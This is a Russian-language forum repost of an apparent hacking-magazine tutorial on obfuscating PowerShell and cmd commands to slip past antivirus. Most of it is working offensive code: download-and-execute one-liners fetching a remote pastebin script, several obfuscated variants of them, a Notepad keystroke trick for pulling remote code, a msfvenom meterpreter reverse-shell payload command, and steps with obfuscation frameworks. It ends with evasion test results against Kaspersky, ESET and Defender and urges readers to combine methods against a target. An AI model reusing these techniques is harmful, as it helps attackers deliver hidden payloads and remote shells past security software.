Namecard
Опытный user
- Регистрация
- 20 Янв 2022
- Сообщения
- 239
- Реакции
- 12

Содержание статьи
- PowerShell в хакинге
- Обфускация PowerShell. Прятки с антивирусом
- Автоматизируем обфускацию
- DOSfuscation
- Реакция антивирусов
- Выводы
Посмотри на эту строку. Что ты здесь видишь?
;,,C^Md^,; ,^/^C^ ^ ", ( ((;,( ;(s^Et ^ ^ co^M3=^^ /^^an^o)) )))&&,,(,S^Et^ ^ ^cO^m2=^s^^ta^^t)&&(;(;;s^eT^ ^ C^oM1^=^n"^^e"t) ) &&, (( ;c^aLl,^;,S^e^T ^ ^ fi^NAl^=^%COm1^%%c^Om2%^%c^oM3^%))&&; (, ,(c^AlL^, ;,^ ;%Fi^nAl^%) ) "
Полагаю — ничего. А ведь это всего лишь команда netstat /ano после обфускации. В этой статье мы постараемся разобраться, как привести команды на PowerShell к такому виду, и проверим, как на это среагируют антивирусы.
WARNING
Распространение вредоносного ПО преследуется по закону. Все рассмотренные методы представлены в ознакомительных целях.PowerShell в хакинге
Начнем с разговора о самом PowerShell. Почему именно он часто используется при взломе? Ну, как минимум потому, что PowerShell — это командная оболочка и несложный скриптовый язык, который используется во всех современных системах Windows. К тому же большинство команд исполняется в памяти, что может помочь избежать антивирусного детекта. Если на компьютере включено удаленное управление, то можно получить доступ к системе через зашифрованный трафик. Существуют хорошие инструменты и фреймворки для работы с PowerShell. Также PowerShell можно вызывать из других скриптов и файлов .bat, .doc, .xls, .ppt, .hta, .exe, .dll.С помощью PowerShell можно загружать код из интернета (к примеру, с pastebin.com) или файла на ПК и исполнять его. Для этого используется командлет Invoke-Expression. Вот несколько примеров использования.
Invoke-Expression -Command 'C:\directory\script.ps1'
'C:\directory\script.ps1' | Invoke-Expression
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')
Также можно использовать кодировку Base64. Для начала следует закодировать команды в Base64.
[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes('Ваш код'))
Перед исполнением нужно будет декодировать их с помощью -EncodeCommand.
powershell -e RwBlAQALQBQAHIAbwBjGUAcwBzAA==
powershell -enc RwBlAHALQBQAHIAbwBjAGUAcwBzAA==
powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUAcwBzAA==
Есть куча других трюков с PowerShell. Для знакомства с основами и выбора инструментария рекомендую прочитать статью Алексея Панкратова «Выбираем среду разработки на PowerShell и пишем скрипты для Windows».
Обфускация PowerShell. Прятки с антивирусом
Процесс обфускации PowerShell не такой уж и сложный, так как это скриптовый язык и мы работаем со строками, а не с исполняемым двоичным кодом. Пройдемся по некоторым методам обфускации. Будем рассматривать все на примере этой команды:Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')
INFO
Обфускация — один из популярных методов обхода сигнатурного анализа.Для начала попробуем убрать System из строки System.Net.WebClient. На выполнение команды это не повлияет, так как в функциях .NET писать System необязательно.
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')
Посмотрим, что можно сделать еще. URL в нашей команде — это строка. Что можно делать со строками? Правильно — разделять и
Invoke-Expression (New-Object Net.WebClient).DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')
Команда отрабатывает точно так же. Теперь попробуем часть команды объявить в виде переменной.
$get = New-Object Net.Webclient;
Invoke-Expression $get.DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')
Все отлично обфусцируется и работает. Идем дальше. Кручу-верчу, запутать хочу! DownloadString, наверное, используется хакерами уже сто лет. Запрячем его и New-Object среди “ и `.
$get = New-Object "`N`et.`W`ebc`l`i`ent";
Invoke-Expression $get."D`o`wn`l`oa`d`Str`in`g"('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')
Неплохо замаскировали. Почти непонятно, что это на самом деле.

Маскировка
А можно ли использовать не DownloadString, а что-то другое для загрузки скрипта или файла? Да! Вашему вниманию представляются методы класса Net.Web-Client:
- DownloadString
- DownloadStringAsync
- DownloadStringTaskAsync
- DownloadFile
- DownloadFileAsync
- DownloadFileTaskAsync
- DownloadData
- DownloadDataAsync
- DownloadDataTaskAsync
- и другие.
- System.Net.WebRequest
- System.Net.HttpWebRequest
- System.Net.FileWebRequest
- System.Net.FtpWebRequest
IEX (New-Object System.IO.StreamReader ([Net.HttpWebRequest]::Create("$url").GetResponse(). GetResponseStream())).ReadToEnd(); $readStream.Close(); $response.Close()
Продолжим со строками. Перевернем команду задом наперед.
$reverseCmd = ")'PaLQ5MKM/war/moc.nibetsap//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX
Разделим и соединим строку другим способом.
$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pastebin.com/raw/MKM5QLaP')";
IEX ($cmdWithDelim.Split("~~") -Join '') | IEX
Сделаем замену.
$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pastebin.com/raw/MKM5QLaP')";
IEX $cmdWithDelim.Replace("~~","") | IEX
И снова конкатенируем другим способом.
$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/MKM5QLaP')";
IEX ($c1,$c2,$c3 -Join '') | IEX
Согласись, над командой мы поиздевались неплохо. Посмотрим теперь другие трюки, которые помогут доставить полезную нагрузку с использованием cmd. Есть один очень извращенный метод загрузки удаленных скриптов через блокнот. Но в бою все средства хороши, верно? Подгружаем скрипт File → Open.

Загрузка кода из интернета
И вуаля! Он у нас в блокноте.

Загруженный код
Как это все автоматизировать и использовать? С помощью метода SendKeys объекта WscriptShell, который имитирует нажатие клавиш. Пример подобного скрипта с использованием блокнота представлен ниже.
$wshell = New-Object -ComObject wscript.shell;
$wshell.run("notepad");
$wshell.AppActivate('Untitled - Notepad');
Start-Sleep 2;
$wshell.SendKeys('^o');
Start-Sleep 2;
$wshell.SendKeys(http://pastebin.com/raw/MKM5QLaP);
$wshell.SendKeys('~');
Start-Sleep 5;
$wshell.SendKeys('^a');
$wshell.SendKeys('^c');
Продолжаем играть в прятки. Можно спрятать аргументы команды в родительском процессе. Интересно, проверяют ли антивирусы их?
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd /c echo %cmd% ^| powershell -"
А нельзя ли использовать не cmd, а что-то другое? Например, в некоторых случаях cmd можно заменить на forfiles. Forfiles — это консольная утилита Windows для операций с файлами.

Использование forfiles
Также cmd можно вызывать не напрямую, а через переменную %COMSPEC%. Запутываем PowerShell еще больше! В командах вместо знака - можно использовать знак /. Например, вот так:
powershell.exe -nop -noni -enc
powershell.exe /nop /noni /enc
Кажется, намудрили достаточно. Можно еще много обсуждать эти замечательные методы. Кому интересно, еще больше методов найдет в презентациях Даниэля Боханнона (первый PDF и второй). Ну а мы пока что посмотрим на написанные им инструменты, которые упростят обфускацию и сделают все за нас.
Автоматизируем обфускацию
Первый инструмент — Invoke-Obfuscation. Это фреймворк для обфускации PowerShell, который использует разные методы, в том числе и названные в предыдущем разделе. Загружаем архив, запускаем PowerShell. Переходим в папку фреймворка, меняем политику исполнения, если надо, и запускаем сам фреймворк.Set-ExecutionPolicy Unrestricted
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation

Фреймворк Invoke-Obfuscation
Для первоначального ознакомления вводи tutorial. Для тестирования будем использовать все ту же команду. Посмотрим необходимые опции и установим нужные (подсвечивается желтым).
show options
set scriptblock Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')
Попробуем использовать конкатенацию. Получаем результат и нашу строку.

Результат обфускации
Также можно закодировать команду в ASCII, HEX, Octal, Binary, SecureString или BXORencoding. Нагрузку возьмем потяжелее. Например, создадим ее с помощью msfvenom.
msfvenom -p windows/meterpreter/reverse_https --format psh --out xaker.ps1 LHOST=192.168.0.11 LPORT=8080
Попробуем использовать ENCONDING и опцию 6. Получается такая картина.

Результат обфускации полезной нагрузки
Можно использовать вместе конкатенацию, encoding и compress. Попробуй поиграться с разными вариантами и комбинациями.
DOSfuscation
Следующий инструмент того же автора — Invoke-DOSfuscation. Скачиваем его, запускаем PowerShell и вводим в папке фреймворка командыImport-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation

Invoke-DOSfuscation
Попробуем обфусцировать ту же полезную нагрузку авторства msfvenom. Установим необходимые опции и используем базовую обфускацию.
SET COMMANDPATH c:\xaker.ps1
Forcode
Basic Obfuscation
Получаем нашу замаскированную полезную нагрузку.

Результат обфускации с помощью Invoke-DOSfuscation
Реакция антивирусов
Настало время проверить, как реагируют антивирусы на нашу нагрузку с обфускацией и без. Для теста будем использовать три антивируса: Kaspersky, Eset NOD32, Windows Defender.Первым в бой идет Kaspersky. Проверяем нашу полезную нагрузку msfvenom в первоначальном виде. KAV даже не дал перейти по ссылке для скачивания файла xaker.ps1!

Но следующие два обфусцированных файла спокойно были запущены, и ничто не препятствовало загрузке. Однако проактивная защита антивируса через некоторое время узнала по поведению, что это наш пейлоад.
Переходим к Eset NOD32 и проверяем файлы в том же порядке. Поразительно, но он не заметил даже необфусцированный файл.
Напоследок проверим при помощи Windows Defender. Он не дал запустить первый файл без обфускации и сразу удалил его. Второй файл запустился спокойно и не был замечен. Третий файл запустился, но во время запуска был обнаружен.
Примечательно, что если конвертировать скрипт в .exe с помощью утилиты Ps2exe, то файлы будут видны большинству антивирусов.
Выводы
Победу в этой игре принесет знание цели. Если ты знаешь, используется ли антивирус и какой конкретно, то вполне есть шанс обойти его при помощи такого несложного трюка. Также полезно знать версию PowerShell на целевой машине и проверять, не сломался ли файл, на ней же.Доработать обфускацию ты можешь сам и, комбинируя разные варианты, сделать так, чтобы антивирус точно не распознал поведение. Попробуй все методы и затем комбинируй ручную обфускацию, способы спрятать нагрузку и рассмотренные фреймворки на модели целевой машины. Обязательно должно получиться что-то уникальное, что пройдет мимо носа антивируса. В конце концов, все ограничено только твоей фантазией!